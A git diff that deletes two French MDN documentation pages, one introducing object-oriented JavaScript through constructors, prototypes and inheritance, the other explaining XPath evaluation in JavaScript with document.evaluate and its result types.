diff --git "a/files/fr/web/javascript/introduction_\303\240_javascript_orient\303\251_objet/index.html" "b/files/fr/web/javascript/introduction_\303\240_javascript_orient\303\251_objet/index.html" deleted file mode 100644 index c778187586..0000000000 --- "a/files/fr/web/javascript/introduction_\303\240_javascript_orient\303\251_objet/index.html" +++ /dev/null @@ -1,372 +0,0 @@ ---- -title: Introduction à JavaScript orienté objet -slug: Web/JavaScript/Introduction_à_JavaScript_orienté_objet -tags: - - Encapsulation - - Intermédiaire - - JavaScript - - OOP - - Object - - Orienté objet -translation_of: Learn/JavaScript/Objects -translation_of_original: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript ---- -
{{jsSidebar("Introductory")}}
- -

JavaScript possède un grand potentiel pour la programmation orientée objet (aussi appelée {{Glossary("OOP")}}). Cet article débutera par une introduction à la programmation orientée objet puis abordera le modèle objet de JavaScript et finira par les concepts de la programmation orientée objet appliquée à JavaScript.

- -
-

Note : Une nouvelle façon de créer des objets a été introduite avec ECMAScript 2015 (ES6) et n'est pas décrite ici. Il s'agit des classes.

-
- -

Un aperçu de JavaScript

- -

Si vous n'êtes pas certain de connaître certains concepts comme les variables, les types, les fonctions, et les portées vous pouvez lire Une réintroduction à JavaScript. Vous pouvez également consulter le guide JavaScript.

- -

La programmation orientée objet

- -

La programmation orientée objet est un paradigme de programmation qui se base sur une abstraction du monde réel pour créer des modèles. Plusieurs techniques sont utilisées, provenant de paradigmes précédents, comme la modularité, le polymorphisme, ou l'encapsulation. Aujourd'hui, de nombreux langages de programmation (Java, JavaScript, C#, C++, Python, PHP, Ruby et Objective-C par exemple) utilisent la programmation orientée objet (OOP en anglais pour Object-Oriented Programmation).

- -

La programmation orientée objet peut être vue comme une façon de concevoir un ou des logiciel(s) grâce à un ensemble d'objets qui coopèrent plutôt que d'utiliser, avec une approche plus traditionnelle, un ensemble de fonctions ou encore une liste d'instructions à envoyer à un ordinateur. En programmation orientée objet, chaque objet est capable d'envoyer et de recevoir des messages provenant d'autres objets, de traiter des données. Chaque objet peut être compris comme une entité indépendante avec un rôle distinct.

- -

La programmation orientée objet a pour but de permettre une plus grande flexibilité et maintenabilité du code. Elle est populaire pour les projets logiciels de grande ampleur. Étant donné l'accent mis sur la modularité, le code orienté objet est censé être plus simple à développer, plus facile à reprendre, à analyser et permettre de répondre à des situations complexes en comparaison à d'autres méthodes de programmation moins modulaires.

- -

Terminologie

- -
-
{{Glossary("Namespace","Espace de noms")}}
-
Un conteneur qui permet aux développeurs d'empaqueter les différentes fonctionnalités d'un programme sous un même nom d'application.
-
{{Glossary("Class", "Classe")}}
-
Définit les caractéristiques de l'objet.
-
{{Glossary("Objet")}}
-
Une instance (un « exemplaire ») d'une classe.
-
{{Glossary("Property", "Propriété")}}
-
Une caractéristique d'un objet (sa couleur par exemple).
-
{{Glossary("Méthode")}}
-
Une capacité d'un objet (changer de couleur par exemple).
-
{{Glossary("Constructeur")}}
-
Une méthode appelée au moment de l'instantiation.
-
{{Glossary("Héritage")}}
-
Une classe peut hériter des caractéristiques et des fonctionnalités d'une autre classe.
-
{{Glossary("Encapsulation")}}
-
Une classe définit uniquement les caractéristiques de son objet, une méthode définit uniquement la façon dont elle s'exécute. On regroupe donc les données et les méthodes qui utilisent ces données.
-
{{Glossary("Abstraction")}}
-
La conjonction entre l'utilisation de l'héritage, de méthodes ou de propriétés d'un objet pour simuler un modèle de la réalité.
-
{{Glossary("Polymorphisme")}}
-
Poly signifie « plusieurs » et morphisme signifie « formes ». Cela signifie que différentes classes peuvent définir la même méthode ou la même propriété.
-
- -

Pour une description plus étendue, lire l'article {{interwiki("wikipedia","Programmation_orientée_objet","Programmation orientée objet")}} de Wikipédia.

- -

Programmation orientée prototype

- -

La programmation orientée prototype est un style de programmation orientée objet qui n'utilise pas les classes. La réutilisation des propriétés d'un objet (appelée héritage pour les langages à classe) est effectuée via des objets qui seront des prototypes pour d'autres objets. Parmi les autres noms de ce modèle, on retrouve la programmation sans classe ou la programmation à base d'instances.

- -

L'exemple premier d'un langage utilisant les prototypes est le langage de programmation {{interwiki("wikipedia", "Self_(langage)", "Self")}}, développé par David Ungar et Randall Smith. Toutefois, ce modèle de programmation s'est popularisé à différents langages comme JavaScript, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak (quand le framework Viewer est utilisé pour manipuler des composants Morphic), et d'autres encore.

- -

La programmation orientée objet avec JavaScript

- -

Les espaces de noms

- -

Un espace de noms est un conteneur qui permet de regrouper l'ensemble des fonctionnalités d'une application sous un un nom unique, spécifique à cette application. En JavaScript, un espace de noms est un objet comme les autres qui contient des méthodes et des propriétés.

- -
-

Note : il est important de bien faire la différence avec d'autres langages ou les espaces de noms et les objets sont des entités distinctes. En JavaScript, ce n'est pas le cas.

-
- -

Pourquoi créer un espace de noms en JavaScript ? La réponse est simple, on peut ainsi disposer d'un seul objet global qui contient l'ensemble des variables, méthodes et fonctions en tant que propriétés. L'utilisation d'un tel objet permet ainsi de réduire le risque de conflit (utilisation d'un même nom) au sein d'une application qui en utilise une autre.

- -

Par exemple : on peut créer un objet global MONAPPLICATION :

- -
// espace de nom global
-var MONAPPLICATION = MONAPPLICATION || {};
- -

Dans l'exemple ci-dessus, on vérifie d'abord que MONAPPLICATION n'est pas déjà défini (dans ce fichier ou dans un autre). S'il est déjà défini, on l'utilise, sinon on crée un objet vide MONAPPLICATION qui recevra les différentes méthodes, fonctions et variables à encapsuler.

- -

Il est également possible de créer des espaces de noms à un niveau inférieur (une fois qu'on a bien défini le namespace global) :

- -
// espace de noms "fils"
-MONAPPLICATION.event = {};
- -

L'exemple ci-dessous permet de créer un espace de noms et de lui ajouter des variables, des fonctions et des méthodes :

- -
// On crée un conteneur MONAPPLICATION.méthodesCommunes pour regrouper certaines méthodes
-MONAPPLICATION.méthodesCommunes = {
-  regExPourNom: "", // on définit une expression rationnelle pour un nom
-  regExPourTéléphone: "", // une autre pour un numéro de téléphone
-  validerNom: function(nom){
-    // On valide le nom en utilisant
-    // la regexp par exemple
-  },
-
-  validerNumTéléphone: function(numTéléphone){
-    // on valide le numéro de téléphone
-  }
-}
-
-// On utilise un conteneur pour les événements
-MONAPPLICATION.event = {
-  addListener: function(el, type, fn) {
-  //  le corps de la méthode
-  },
-  removeListener: function(el, type, fn) {
-  //  le corps de la méthode
-  },
-  getEvent: function(e) {
-  //  le corps de la méthode
-  }
-
- // Il est possible d'ajouter des méthodes et des propriétés
-}
-
-// Exemple de syntaxe pour utiliser la méthode addListener :
-MONAPPLICATION.event.addListener("monÉlément", "type", callback);
- -

Objets natifs standard

- -

JavaScript dispose de plusieurs objets essentiels inclus dans le langage. On y trouve entre autres les objets Math, Object, Array, et String. L'exemple ci-après illustre comment utiliser l'objet Math pour obtenir un nombre aléatoire en utilisant la méthode random().

- -
console.log(Math.random());
-
- -
Note : Cet exemple, ainsi que les suivants, utilisent une fonction {{domxref("console.log()")}} définie globalement. La fonction console.log n'est pas, à proprement parler, une fonctionnalité de JavaScript en tant que telle mais est implémentée dans la plupart des navigateurs à des fins de débogage.
- -

Voir la page sur les objets globaux pour une liste de ces objets essentiels.

- -

En JavaScript, chaque objet est une instance de l'objet Object et hérite donc des propriétés et des méthodes de ce dernier.

- -

Objets créés sur mesure

- -

Le constructeur

- -

JavaScript est un langage utilisant les prototypes, il ne dispose pas d'une instruction pour déclarer une classe (à la différence de C++ ou Java). Cela peut sembler déroutant pour les développeurs utilisant d'autres langages de classe. JavaScript utilise des fonctions comme constructeurs pour définir un objet. On définit les propriétés et méthodes d'un objet en définissant une fonction qui sera utilisée par la suite pour construire l'objet souhaité. Ici, on définit un constructeur Personne.

- -
var Personne = function () { }
-
- -
-

Note : Par convention, le nom d'un constructeur commence par une majuscule. Cela permet de différencier les fonctions classiques des constructeurs et de mieux les utiliser.

-
- -

L'instance

- -

Pour créer une nouvelle instance, on utilise l'instruction new objet, et on affecte le résultat de cette expression à une variable qu'on utilisera par la suite. Il est également possible d'utiliser la méthode Object.create afin de créer une instance non initialisée.

- -

Dans l'exemple qui suit, on utilise le constructeur Personne définit précédemment et on crée deux instances grâce à l'opérateur new (personne1 et personne2).

- -
var personne1 = new Personne();
-var personne2 = new Personne();
-
- -
Note: Voir aussi {{jsxref("Object.create()")}} pour une autre méthode d'instanciation.
- -

Le constructeur (suite)

- -

Le constructeur est la méthode appelée au moment de l'instanciation (l'instant où l'exemplaire de l'objet est créé). En JavaScript, la déclaration vue précédemment suffit à définir un constructeur. Chaque action déclarée dans le constructeur est executée au moment de l'instanciation.

- -

Le constructeur est utilisé afin de définir les propriétés d'un objet et d'appeler les méthodes nécessaires pour préparer l'objet.

- -

Dans l'exemple ci-dessous, le constructeur de la classe Personne affiche un message dans la console lorsqu'un objet Personne est instancié.

- -
function Personne() {
-  console.log('Nouvel objet Personne créé');
-}
-
-var personne1 = new Personne();
-// affiche "Nouvel objet Personne créé" dans la console
-var personne2 = new Personne();
-// affiche "Nouvel objet Personne créé" dans la console
-
- -

Les propriétés (ou attributs)

- -

Les propriétés sont des variables appartenant à un objet. Les propriétés d'un objet peuvent être définies au sein du prototype afin que tous les objets qui en héritent puissent disposer de cette propriété via la chaîne de prototypes.

- -

Dans le contexte d'un objet, l'accès à ses propriétés se fait grâce au mot-clé this, qui fait référence à l'objet courant. L'accès (en écriture ou lecture) à une propriété depuis un autre objet se fait grâce à la syntaxe nomInstance.propriété. Cette syntaxe est la même pour d'autres langages comme C++, Java, etc.

- -

Dans l'exemple qui suit, on crée la propriété nom pour le constructeur Personne et on définit sa valeur lors de l'instanciation :

- -
function Personne(nom) {
-  this.nom = nom;
-  console.log('Nouvel objet Personne créé');
-}
-
-var personne1 = new Personne('Alice');
-var personne2 = new Personne('Bob');
-
-//on affiche le nom de personne1
-console.log('personne1 est ' + personne1.nom); // personne1 est Alice
-console.log('personne2 est ' + personne2.nom); // personne2 est Bob
-
- -

Les méthodes

- -

Les méthodes sont également des propriétés d'un objet : ce sont des fonctions plutôt que des objets. L'appel à une méthode se fait de la même façon que pour l'accès à une propriété, les parenthèses () en plus, éventuellement avec des arguments. Pour définir une méthode dont disposeront tous les objets qu'on souhaite définir, il faut l'assigner comme propriété de la propriété prototype de l'objet. Le nom auquel est assigné la fonction est le nom de la méthode.

- -

Dans l'exemple qui suit, on définit et utilise la méthode direBonjour() pour un objet Personne.

- -
function Personne(nom) {
-  this.nom = nom;
-}
-
-Personne.prototype.direBonjour = function() {
-  console.log("Bonjour, je suis " + this.nom);
-};
-
-var personne1 = new Personne('Alice');
-var personne2 = new Personne('Robert');
-
-// on appelle la méthode.
-personne1.direBonjour(); // Bonjour, je suis Alice
-
- -

En JavaScript, les méthodes sont des fonctions classiques simplement liées à un objet en tant que propriété. On peut donc appeler la méthode « en dehors de l'objet ». Par exemple :

- -
function Personne(nom) {
-  this.nom = nom;
-}
-
-Personne.prototype.afficherNom = function() {
-  console.log("Je suis "+this.nom);
-};
-
-var personne1 = new Personne('Gustave');
-var donnerUnNom = personne1.afficherNom;
-
-personne1.afficherNom(); // 'Je suis Gustave'
-donnerUnNom(); // undefined
-console.log(donnerUnNom === personne1.afficherNom); // true
-console.log(donnerUnNom === Personne.prototype.afficherNom); // true
-donnerUnNom.call(personne1); // 'Je suis Gustave'
-
- -

On voit ici plusieurs concepts. Tout d'abord, il n'existe pas de méthode propre à un objet car toutes les références à la méthode vont utiliser la fonction définie pour le prototype. Ensuite, JavaScript fait un lien entre le contexte de l'objet courant et la variable this quand une fonction est appelée en tant que propriété d'un objet. Ceci est équivalent à utiliser la fonction call :

- -
donnerUnNom.call(personne1); // 'Gustave'
-
- -
Note : Voir les pages Function.call et Function.apply pour plus d'informations. Voir également la page sur l'opérateur this et les différents contextes.
- -

L'héritage

- -

L'héritage permet de créer un objet spécialisé qui découle d'un autre objet. (JavaScript ne supporte que l'héritage unique : c'est-à-dire qu'un objet peut spécialiser un autre objet mais ne peut pas en spécialiser plusieurs à la fois). L'objet spécialisé est appelé l'objet fils et l'objet générique appelé parent. Pour indiquer un lien d'héritage en JavaScript, on assigne une instance de l'objet parent à la propriété prototype de l'objet fils. Grâce aux navigateurs récents, il est également possible d'utiliser la méthode Object.create afin d'implémenter l'héritage.

- -
-

Note : Il est également nécessaire de renseigner la propriété prototype.constructor avec le constructeur de la classe parente ! Voir la page de Object:prototype pour plus d'informations.

-
- -

Dans les exemples qui suivent, on définit le constructeur Étudiant pour créer des objets bénéficiant des propriétés d'un objet Personne. Pour cet objet fils, on redéfinit la méthode direBonjour() et on ajoute la méthode aurevoir().

- -
// Le constructeur Personne
-var Personne = function(nom) {
-   this.nom = nom;
-};
-
-Personne.prototype.marcher = function(){
-  console.log("Je marche !");
-};
-Personne.prototype.direBonjour = function(){
-  console.log("Bonjour, je suis "+this.nom);
-};
-
-// Le constructeur Étudiant
-function Étudiant(nom, sujet) {
-  // On appelle le constructeur parent
-  // pour profiter des propriétés définies dans la fonction
-  Personne.call(this, nom);
-  this.sujet = sujet;
-}
-
-// On déclare l'héritage pour bénéficier de la chaîne de prototypes
-// Attention à ne pas utiliser "new Personne()". Ceci est incorrect
-// on ne peut pas fournir l'argument "nom". C'est pourquoi on appelle
-// Personne avant, dans le constructeur Étudiant.
-Étudiant.prototype = Object.create(Personne.prototype);
-
-// on corrige le constructeur qui pointe sur celui de Personne
-Étudiant.prototype.constructor = Étudiant;
-
-// on remplace la méthode direBonjour pour l'étudiant
-Étudiant.prototype.direBonjour = function(){
- console.log("Bonjour, je suis "+ this.nom + ". J'étudie " + this.sujet + ".");
-};
-
-// on ajoute la méthode aurevoir
-Étudiant.prototype.aurevoir = function(){
-  console.log('Au revoir');
-};
-
-var étudiant1 = new Étudiant("Jean", "la physique appliquée");
-étudiant1.direBonjour();
-étudiant1.marcher();
-étudiant1.aurevoir();
-
-// on vérifie l'héritage
-console.log(étudiant1 instanceof Personne); // true
-console.log(étudiant1 instanceof Étudiant); // true
-
- -

Les anciens navigateurs peuvent ne pas disposer de la méthode Object.create. Pour résoudre ce problème, il est possible d'utiliser une prothèse d'émulation (polyfill ou shim) comme :

- -
function createObject(proto) {
-  function ctor() { }
-  ctor.prototype = proto;
-  return new ctor();
-}
-
-// Exemple d'utilisation:
-Étudiant.prototype = createObject(Personne.prototype);
- -
Note : Voir la page Object.create pour plus d'informations et pour une prothèse d'émulation pour les anciens navigateurs.
- -

Il peut parfois être utile de vérifier la valeur de this utilisée au sein de la fonction pour appliquer les bons traitements. Par exemple, on pourra utiliser

- -
var Person = function(nom) {
-  if (this instanceof Personne) {
-    this.nom = nom;
-  } else {
-    return new Personne(nom);
-  }
-}
-
- -

L'encapsulation

- -

Dans l'exemple précédent, Étudiant n'a pas besoin de réimplémenter la méthode marcher() de Personne : il peut l'utiliser directement. L'encapsulation signifie qu'on a seulement besoin d'implémenter les changements (ex : direBonjour) par rapport à l'objet parent, le reste sera hérité naturellement et pourra être utilisé par l'objet fils. Chaque prototype regroupe les données et les méthodes dans une seule et même unitée.

- -

D'autres langages permettent de masquer des informations grâce des méthodes/propriétés privées et/ou protégées. Bien qu'il soit possible de simuler ce comportement en JavaScript, cet aspect n'est pas obligatoire en programmation orientée objet.

- -

L'abstraction

- -

L'abstraction permet de modéliser le problème qu'on souhaite résoudre. On peut créer un modèle abstrait en utilisant l'héritage (autrement dit une spécialisation des objets) et la composition. Comme on l'a vu JavaScript permet de créer un héritage (simple) entre objets et la composition est obtenue car les propriétés d'un objet peuvent elles-mêmes être des objets.

- -

L'objet JavaScript Function hérite de Object (on a l'héritage) et la propriété Function.prototype est une instance d'Object (on a la composition)

- -
var toto = function(){};
-console.log('toto est une Function : ' + (toto instanceof Function) );
-console.log('toto.prototype est un Object : ' + (toto.prototype instanceof Object) );
-
- -

Le polymorphisme

- -

Le polymorphisme est rendu possible par l'héritage des méthodes. Les différents objets fils peuvent définir différentes méthodes avec le même nom. Ainsi si on itère sur une collection d'objets dont on sait que ces objets sont des instances du type parent, on pourra utiliser la méthode nommée qui utilisera la méthode définie pour l'objet fils.

- -

Notes

- -

Les techniques présentées ici ne sont qu'un fragment des techniques utilisables en JavaScript. JavaScript, grâce à sa nature prototypale, est très flexible et permet d'implémenter différentes façons de programmer avec des objets.

- -

Les techniques présentées ici ne tirent pas partie de l'implémentation des objets d'autres langages ni de bidouilles spécifiques au langage. Il existe d'autres techniques permettant de construire différentes architectures objet en JavaScript mais celles-ci dépassent le cadre de cet article.

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/introduction_\303\240_l_utilisation_de_xpath_avec_javascript/index.html" "b/files/fr/web/javascript/introduction_\303\240_l_utilisation_de_xpath_avec_javascript/index.html" deleted file mode 100644 index 620d538eb8..0000000000 --- "a/files/fr/web/javascript/introduction_\303\240_l_utilisation_de_xpath_avec_javascript/index.html" +++ /dev/null @@ -1,410 +0,0 @@ ---- -title: Introduction à l'utilisation de XPath avec JavaScript -slug: Web/JavaScript/Introduction_à_l_utilisation_de_XPath_avec_JavaScript -tags: - - DOM - - Extensions - - JavaScript - - XML - - XPath - - XSLT -translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript ---- -

Ce document décrit l'interface pour utiliser XPath dans JavaScript, que ce soit en interne, dans les extensions et depuis les sites Web. Mozilla implémente une partie importante de DOM 3 XPath (en). Cela signifie que les expressions XPath peuvent être utilisées sur des documents HTML et XML.

- -

La principale interface pour l'utilisation de XPath est la fonction evaluate() de l'objet document.

- -

document.evaluate()

- -

Cette méthode évalue les expressions XPath dans un document XML (y compris les documents HTML), et retourne un objet XPathResult, qui peut être un nœud unique ou un ensemble de nœuds. La documentation existante sur cette méthode se trouve à la page document.evaluate mais elle est plutôt succincte comparée à nos besoins actuels. Nous l'examinerons de façon plus complète dans la suite de ce document.

- -
var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, resultType, result );
-
- -

Paramètres

- -

La fonction evaluate prend cinq arguments au total :

- -
-
xpathExpression
-
Une chaîne contenant l'expression XPath à évaluer.
-
contextNode
-
Un nœud du document pour lequel l'expression xpathExpression doit être évaluée, ainsi que l'ensemble de ses descendants. Le nœud document est le plus couramment utilisé.
-
namespaceResolver
-
Une fonction à laquelle sera passé tout préfixe d'espace de nommage contenu dans l'expression xpathExpression et qui renvoie une chaîne représentant l'URI de l'espace de nommage associé à ce préfixe. Cela permet la conversion entre le préfixe utilisé dans les expressions XPath et les différents préfixes éventuellement utilisés dans le document. Cette fonction peut être :
-
- -
    -
  • Créée à l'aide de la méthode createNSResolver d'un objet XPathEvaluator. C'est la solution à utiliser à peu près tout le temps.
    • -
  • Une valeur null, qui peut être utilisé pour les documents HTML ou lorsqu'aucun préfixe n'est utilisé. Remarquez que si l'expression xpathExpression contient un préfixe d'espace de nommage cela déclenchera une exception DOMException portant le code NAMESPACE_ERR.
    • -
  • Une fonction personnalisée définie par l'utilisateur. Voir la section Implémentation d'un résolveur d'espace de nommage personnalisé dans l'annexe pour plus de détails.
    • -
- -
-
resultType
-
Une constante qui définit le type de résultat à renvoyer comme résultat de l'évaluation. La constante la plus courante est XPathResult.ANY_TYPE qui renverra un résultat du type le plus naturel par rapport à l'expression XPath. Une section de l'annexe contient une liste complète des constantes disponibles. Elles sont expliquées dans la section #Définition du type de retour ci-dessous.
-
result
-
Soit un objet XPathResult existant qui sera réutilisé pour contenir les résultats, soit la valeur null qui peut être utilisée pour créer un nouvel objet XPathResult.
-
- -

Valeur de retour

- -

Renvoie xpathResult, qui est un objet XPathResult du type défini dans le paramètre resultType. L'interface XPathResult est définie dans ce document.

- -

Implémentation d'un résolveur d'espaces de nommage par défaut

- -

On crée un résolveur d'espace de nommage à l'aide de la méthode createNSResolver de l'objet document.

- -
var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement );
-
- -

Ou alternativement en utilisant la méthode <code>createNSResolver</code> d'un objet <code>XPathEvaluator</code>. <pre> var xpEvaluator = new XPathEvaluator(); var nsResolver = xpEvaluator.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement ); </pre> On lui passe ensuite document.evaluate, la variable nsResolver comme paramètre namespaceResolver.

- -

véracité du paragraphe suivant à vérifier avec la doc du w3c Notez que XPath définit que les QNames sans préfixe correspondent uniquement aux éléments de l'espace de nommage null. Il n'existe aucun moyen dans XPath pour récupérer l'espace de nommage par défaut. Pour coupler des éléments ou des attributs dans un espace de nommage non nul, vous devrez détecter les noms préfixés, et créer un résolveur d'espace de nommage qui fera correspondre le préfixe avec l'espace de nommage. Vous en saurez plus sur la façon de créer un résolveur d'espace de nommage personnalisé ci-dessous.

- -

Définition du type de retour

- -

La variable xpathResult renvoyée par document.evaluate peut être composée de nœuds individuels (types simples), ou un groupe de nœuds (types d'ensembles de nœuds).

- -

Types simples

- -

Lorsque le type de résultat spécifié dans resultType est soit :

- -
    -
  • NUMBER_TYPE — un nombre
    • -
  • STRING_TYPE — une chaîne
    • -
  • BOOLEAN_TYPE — une valeur booléenne
    • -
- -

On obtiendra la valeur de retour de l'expression en accédant respectivement aux propriétés suivantes de l'objet XPathResult :

- -
    -
  • numberValue
    • -
  • stringValue
    • -
  • booleanValue
    • -
- -
Exemple
- -

Cet exemple utilise l'expression XPath count(//p) pour obtenir le nombre d'éléments <p> présents dans le document HTML :

- -
var paragraphCount = document.evaluate( 'count(//p)', document, null, XPathResult.ANY_TYPE, null );
-
-console.log( 'Ce document contient ' + paragraphCount.numberValue + ' éléments de paragraphe' );
-
- -

Même si JavaScript convertira un nombre en chaîne pour l'affichage, l'interface XPath ne fera pas automatiquement la conversion du résultat numérique si la propriété stringValue est demandée. Ainsi, le code suivant ne fonctionnera pas :

- -
var paragraphCount = document.evaluate('count(//p)', document, null, XPathResult.ANY_TYPE, null );
-
-console.log( 'Ce document contient ' + paragraphCount.stringValue + ' éléments de paragraphe' );
-
- -

Au lieu de cela, il déclenchera une exception portant le code NS_DOM_TYPE_ERROR.

- -

Types d'ensembles de nœuds

- -

L'objet XPathResult permet de renvoyer les ensembles de nœuds sous la forme de trois types principaux :

- - - -
Itérateurs
- -

Lorsque le type de résultat spécifié dans le paramètre resultType est soit :

- -
    -
  • UNORDERED_NODE_ITERATOR_TYPE
    • -
  • ORDERED_NODE_ITERATOR_TYPE
    • -
- -

L'objet XPathResult renvoyé sera un ensemble de nœuds correspondant à l'expression se comportant comme un itérateur. On pourra accéder individuellement aux nœuds qu'il contient en utilisant la méthode iterateNext() de l'objet XPathResult.

- -

Lorsque tous les nœuds ont été parcourus, iterateNext() renverra null.

- -

Notez cependant que si le document est modifié (l'arbre du document est modifié) entre les itérations, l'itérateur sera invalidé et la propriété invalidIteratorState de XPathResult deviendra true. Une exception NS_ERROR_DOM_INVALID_STATE_ERR sera également déclenchée.

- -
Exemple d'itérateur
- -
var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
-
-try {
-  var thisNode = iterator.iterateNext();
-
-  while (thisNode) {
-    console.log( thisNode.textContent );
-    thisNode = iterator.iterateNext();
-  }
-}
-catch (e) {
-  console.log( 'Erreur : L\'arbre du document a été modifié pendant l\'itération ' + e );
-}
-
- -
Snapshots
- -

Lorsque le type de résultat spécifié dans le paramètre resultType est l'une des valeurs suivantes :

- -
    -
  • UNORDERED_NODE_SNAPSHOT_TYPE
    • -
  • ORDERED_NODE_SNAPSHOT_TYPE
    • -
- -

L'objet XPathResult renvoyé sera un ensemble statique de nœuds correspondant à l'expression. L'accès à chaque nœud se fera au travers de la méthode snapshotItem(itemNumber) de l'objet XPathResult, où itemNumber est l'indice du nœud à récupérer. On peut accéder au nombre total de nœuds contenus dans l'ensemble par la propriété snapshotLength.

- -

Les snapshots ne changent pas avec les mutations du document. Aussi, contrairement aux itérateurs, le snapshot ne deviendra pas invalide mais peut ne plus correspondre au document actuel. Par exemple, des nœuds peuvent avoir été déplacés, il peut contenir des nœuds qui n'existent plus ou de nouveaux nœuds peuvent avoir été ajoutés.

- -
Exemple de snapshot
- -
var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
-
-for ( var i=0 ; i < nodesSnapshot.snapshotLength; i++ ){
-  console.log( nodesSnapshot.snapshotItem(i).textContent );
-}
-
- -
Premier nœud
- -

Lorsque le type de résultat spécifié dans le paramètre resultType est l'une des valeurs suivantes :

- -
    -
  • ANY_UNORDERED_NODE_TYPE
    • -
  • FIRST_ORDERED_NODE_TYPE
    • -
- -

L'objet XPathResult renvoyé n'est que le premier nœud trouvé correspondant à l'expression XPath. On peut y accéder à l'aide de la propriété singleNodeValue de l'objet XPathResult. Celle-ci vaudra null si l'ensemble de nœuds est vide.

- -

Notez que pour le sous-type non ordonné (le premier), le nœud unique renvoyé ne sera peut-être pas le premier nœud dans l'ordre du document. Dans le cas du sous-type ordonné (le second), vous pouvez être sûr d'obtenir le premier nœud correspondant dans l'ordre du document.

- -
Exemple de premier nœud
- -
var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
-
-console.log( 'Le premier numéro de téléphone trouvé est ' + firstPhoneNumber.singleNodeValue.textContent );
-
- -

La constante ANY_TYPE

- -

Lorsque le type de résultat spécifié dans le paramètre resultType est la valeur ANY_TYPE, l'objet XPathResult renvoyé pourra être de n'importe quel type, c'est-à-dire du type résultant le plus naturellement de l'évaluation de l'expression.

- -

Il peut s'agir de n'importe lequel des types simples (NUMBER_TYPE, STRING_TYPE, BOOLEAN_TYPE), mais si le type du résultat retourné est un ensemble de nœuds alors il ne pourra être que du type UNORDERED_NODE_ITERATOR_TYPE.

- -

Pour déterminer le type utilisé après l'évaluation, on utilisera la propriété resultType de l'objet XPathResult. Les valeurs constantes de cette propriété sont définies dans l'annexe.

- -

None Yet =====Exemple Any_Type===== <pre> </pre>

- -

Exemples

- -

Dans un document HTML

- -

Le code suivant est destiné à être inséré dans un fragment JavaScript intégré ou lié au document HTML qui devra être évalué par l'expression XPath.

- -

Pour extraire tous les éléments d'en-tête <h2> d'un document HTML à l'aide de XPath, l'expression xpathExpression est simplement '//h2', où // est l'opérateur descendant récursif (ou RDO) qui correspond aux éléments dont la propriété nodeName est h2 n'importe où dans l'arbre du document. Le code complet pour cela est : link to introductory xpath doc

- -
var headings = document.evaluate('//h2', document, null, XPathResult.ANY_TYPE, null );
-
- -

Notez que, comme HTML ne possède pas d'espace de nommage, null a été passé comme paramètre namespaceResolver.

- -

Comme le but est de chercher les en-têtes dans l'intégralité du document, on utilise l'objet document lui-même comme paramètre contextNode.

- -

Le résultat de cette expression est un objet XPathResult. Pour connaître le type de résultat renvoyé, il convient d'évaluer la propriété resultType de l'objet renvoyé. Dans notre cas, il sera évalué à 4, c'est donc un UNORDERED_NODE_ITERATOR_TYPE. Il s'agit du type de retour par défaut lorsque le résultat de l'expression XPath est un ensemble de nœuds. Il permet d'accéder à un seul nœud à la fois et ne renvoie pas les nœuds dans un ordre particulier. Pour accéder à ceux-ci, on utilise la méthode iterateNext() de l'objet renvoyé :

- -
var thisHeading = headings.iterateNext();
-
-var alertText = 'Les en-têtes de niveau 2 présents dans ce document sont :\n'
-
-while (thisHeading) {
-  alertText += thisHeading.textContent + '\n';
-  thisHeading = headings.iterateNext();
-}
-
- -

Une fois l'itération effectuée sur un nœud, nous avons accès à toutes les Interfaces DOM standards de ce nœud. Après avoir parcouru tous les éléments h2 renvoyés à partir de notre expression, chaque nouvel appel à iterateNext() donnera null.

- -

Évaluation d'un document XML appartenant à une extension

- -

L'exemple suivant utilise un document XML situé à l'adresse chrome://yourextension/content/peopleDB.xml.

- -
<?xml version="1.0"?>
-<people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" >
-  <person>
-	<name first="george" last="bush" />
-	<address street="1600 pennsylvania avenue" city="washington" country="usa"/>
-	<phoneNumber>202-456-1111</phoneNumber>
-  </person>
-  <person>
-	<name first="tony" last="blair" />
-	<address street="10 downing street" city="london" country="uk"/>
-	<phoneNumber>020 7925 0918</phoneNumber>
-  </person>
-</people>
-
- -

Pour rendre les contenus du document XML accessibles depuis l'extension, on crée un objet XMLHttpRequest pour charger le document de façon synchrone. La variable xmlDoc contiendra le document comme un objet XMLDocument sur lequel on pourra utiliser la méthode evaluate.

- -

JavaScript utilisé dans les documents XUL/js des extensions.

- -
var req = new XMLHttpRequest();
-
-req.open("GET", "chrome://yourextension/content/peopleDB.xml", false);
-req.send(null);
-
-var xmlDoc = req.responseXML;
-
-var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
-
-var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
-
- -

Note

- -

Quant l'objet XPathResult n'est pas défini, les constantes peuvent être récupérées dans du code privilégié avec Components.inertfaces.nsIDOMXPathResult.ANY_TYPE(CI.nsIDOMXPathResult). De la même manière un objet XPathEvaluator peut être créé en utilisant :

- -
Components.classes["@mozille.org/dom/xpath-evaluator;1"].createInstance(Components.interfaces.nsIDOMXPathEvaluator)
- -

Annexe

- -

Implémentation d'un résolveur d'espace de nommage personnalisé

- -

Cet exemple ne sert que d'illustration. Cette fonction nécessitera de prendre les préfixes d'espaces de nommage depuis la xpathExpression et retourne l'URI correspondante à ces préfixes. Par exemple, l'expression :

- -
'//xhtml:td/mathml:math'
-
- -

sélectionnera toutes les expressions MathML qui sont les descendantes des éléments (X)HTML de cellules de tableau.

- -

